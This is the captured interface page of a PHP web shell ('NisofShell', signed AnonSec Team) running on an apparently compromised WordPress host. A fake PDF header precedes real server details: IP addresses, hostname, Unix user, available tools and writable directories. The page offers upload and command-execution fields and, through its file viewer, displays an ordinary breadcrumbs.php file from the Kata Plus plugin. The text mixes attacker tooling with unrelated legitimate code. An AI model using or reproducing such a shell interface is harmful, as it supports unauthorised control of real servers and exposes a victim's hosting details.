%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/wellingtonrecord/wp-content/plugins/kata-plus/includes/vendors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/wellingtonrecord/wp-content/plugins/kata-plus/includes/vendors/breadcrumbs.php
<?php
/**
 * Breadcrumbs.
 *
 * @author  ClimaxThemes
 * @package Kata Plus
 * @since   1.0.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! function_exists( 'kata_plus_breadcrumbs' ) ) {
	function kata_plus_breadcrumbs( $start = '', $seperator = '' ) {
		$showOnHome  = 0; // 1 - show breadcrumbs on the homepage, 0 - don't show
		$delimiter   = isset( $seperator ) && ! empty( $seperator ) ? $seperator : '<i class="kata-icon">&raquo;</i>'; // delimiter between crumbs
		$home        = isset( $start ) && ! empty( $start ) ? $start : __( 'Home', 'kata-plus' ); // text for the 'Home' link
		$showCurrent = 1; // 1 - show current post/page title in breadcrumbs, 0 - don't show
		$before      = '<span class="current">'; // tag before the current crumb
		$after       = '</span>'; // tag after the current crumb

		global $post;
		$homeLink = get_bloginfo( 'url' );

		if ( is_home() || is_front_page() ) {
			if ( is_home() ) {
				echo '<div id="kata-crumbs"><a href="' . $homeLink . '">' . $home . '</a>' . $delimiter;
				echo wp_kses_post( $before ) . __( 'Blog', 'kata-plus' ) . wp_kses_post( $after );
				echo '</div>';
			}
		} else {
			echo '<div id="kata-crumbs"><a href="' . $homeLink . '">' . $home . '</a> ' . $delimiter . ' ';

			if ( is_category() ) {
				$thisCat = get_category( esc_html( get_query_var( 'cat' ) ), false );
				if ( $thisCat->parent != 0 ) {
					echo get_category_parents( $thisCat->parent, true, ' ' . $delimiter . ' ' );
				}
				echo wp_kses_post( $before ) . __( 'Archive by category "', 'kata-plus' ) . single_cat_title( '', false ) . '"' . wp_kses_post( $after );
			} elseif ( is_search() ) {
				echo wp_kses_post( $before ) . __( 'Search results for "', 'kata-plus' ) . get_search_query() . '"' . wp_kses_post( $after );
			} elseif ( is_day() ) {
				echo '<a href="' . get_year_link( get_the_time( 'Y' ) ) . '">' . get_the_time( 'Y' ) . '</a> ' . $delimiter . ' ';
				echo '<a href="' . get_month_link( get_the_time( 'Y' ), get_the_time( 'm' ) ) . '">' . get_the_time( 'F' ) . '</a> ' . $delimiter . ' ';
				echo wp_kses_post( $before ) . get_the_time( 'd' ) . wp_kses_post( $after );

			} elseif ( is_month() ) {
				echo '<a href="' . get_year_link( get_the_time( 'Y' ) ) . '">' . get_the_time( 'Y' ) . '</a> ' . $delimiter . ' ';
				echo wp_kses_post( $before ) . get_the_time( 'F' ) . wp_kses_post( $after );
			} elseif ( is_year() ) {
				echo wp_kses_post( $before ) . get_the_time( 'Y' ) . wp_kses_post( $after );
			} elseif ( is_single() && ! is_attachment() ) {
				if ( get_post_type() != 'post' ) {
					$post_type = get_post_type_object( get_post_type() );
					$slug      = $post_type->rewrite;
					echo '<a href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a>';
					if ( $showCurrent == 1 ) {
						echo ' ' . $delimiter . ' ' . wp_kses_post( $before ) . get_the_title() . wp_kses_post( $after );
					}
				} else {
					$cat  = get_the_category();
					$cat  = $cat[0];
					$cats = get_category_parents( $cat, true, ' ' . $delimiter . ' ' );
					if ( $showCurrent == 0 ) {
						$cats = preg_replace( "#^(.+)\s$delimiter\s$#", '$1', $cats );
					}
					echo wp_kses_post( $cats );
					if ( $showCurrent == 1 ) {
						echo wp_kses_post( $before ) . get_the_title() . wp_kses_post( $after );
					}
				}
			} elseif ( ! is_single() && ! is_page() && get_post_type() != 'post' && ! is_404() ) {
				$post_type = get_post_type_object( get_post_type() );
				echo wp_kses_post( $before ) . $post_type->labels->singular_name . wp_kses_post( $after );
			} elseif ( is_attachment() ) {
				$parent = get_post( $post->post_parent );
				$cat    = get_the_category( $parent->ID );
				$cat    = isset( $cat[0] ) ? $cat[0] : '';
				if ( $cat ) {
					echo get_category_parents( $cat, true, ' ' . $delimiter . ' ' );
					echo '<a href="' . get_permalink( $parent ) . '">' . $parent->post_title . '</a>';
					if ( $showCurrent == 1 ) {
						echo ' ' . $delimiter . ' ' . wp_kses_post( $before ) . get_the_title() . wp_kses_post( $after );
					}
				} elseif ( $showCurrent == 1 ) {
						echo ' ' . wp_kses_post( $before ) . get_the_title() . wp_kses_post( $after );
				}
			} elseif ( is_page() && ! $post->post_parent ) {
				if ( $showCurrent == 1 ) {
					echo wp_kses_post( $before ) . get_the_title() . wp_kses_post( $after );
				}
			} elseif ( is_page() && $post->post_parent ) {
				$parent_id   = $post->post_parent;
				$breadcrumbs = array();
				while ( $parent_id ) {
					$page          = get_page( $parent_id );
					$breadcrumbs[] = '<a href="' . get_permalink( $page->ID ) . '">' . get_the_title( $page->ID ) . '</a>';
					$parent_id     = $page->post_parent;
				}
				$breadcrumbs = array_reverse( $breadcrumbs );
				for ( $i = 0; $i < count( $breadcrumbs ); $i++ ) {
					echo wp_kses_post( $breadcrumbs[ $i ] );
					if ( $i != count( $breadcrumbs ) - 1 ) {
						echo ' ' . $delimiter . ' ';
					}
				}
				if ( $showCurrent == 1 ) {
					echo ' ' . $delimiter . ' ' . wp_kses_post( $before ) . get_the_title() . wp_kses_post( $after );
				}
			} elseif ( is_tag() ) {
				echo wp_kses_post( $before ) . __( 'Posts tagged "', 'kata-plus' ) . single_tag_title( '', false ) . '"' . wp_kses_post( $after );
			} elseif ( is_author() ) {
				global $author;
				$userdata = get_userdata( $author );
				echo wp_kses_post( $before ) . __( 'Articles posted by ', 'kata-plus' ) . $userdata->display_name . wp_kses_post( $after );
			} elseif ( is_404() ) {
				echo wp_kses_post( $before ) . __( 'Error 404', 'kata-plus' ) . wp_kses_post( $after );
			}

			if ( get_query_var( 'paged' ) ) {
				if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) {
					echo ' (';
				}
				echo __( 'Page' ) . ' ' . esc_html( get_query_var( 'paged' ) );
				if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) {
					echo ')';
				}
			}

			echo '</div>';
		}
	} // end kata_plus_breadcrumbs()
}

Anon7 - 2022
AnonSec Team